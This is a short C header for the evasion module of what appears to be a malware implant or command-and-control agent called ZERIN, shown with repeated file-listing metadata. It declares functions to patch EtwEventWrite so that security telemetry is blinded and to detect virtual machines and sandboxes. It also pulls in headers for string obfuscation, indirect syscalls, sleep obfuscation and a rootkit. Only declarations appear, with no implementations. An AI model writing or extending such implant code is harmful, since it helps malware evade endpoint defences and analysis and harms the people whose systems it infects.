25 lines
593 B
C
Executable File
25 lines
593 B
C
Executable File
#ifndef ZERIN_EVASION_H
|
|
#define ZERIN_EVASION_H
|
|
|
|
#include "strings.h"
|
|
#include "syscalls.h"
|
|
#include "sleep_obf.h"
|
|
#include "indirect_syscalls.h"
|
|
#include "rootkit.h"
|
|
|
|
// Initialize all evasion subsystems.
|
|
// Call once early in agent startup.
|
|
int evasion_init(void);
|
|
|
|
// Patch EtwEventWrite to prevent runtime telemetry.
|
|
int evasion_patch_etw(void);
|
|
|
|
// Check for VM/sandbox environment (score-based detection).
|
|
// Returns 1 if sandbox detected, 0 if clean.
|
|
int evasion_check_vm(void);
|
|
|
|
// Clean up evasion state.
|
|
void evasion_cleanup(void);
|
|
|
|
#endif // ZERIN_EVASION_H
|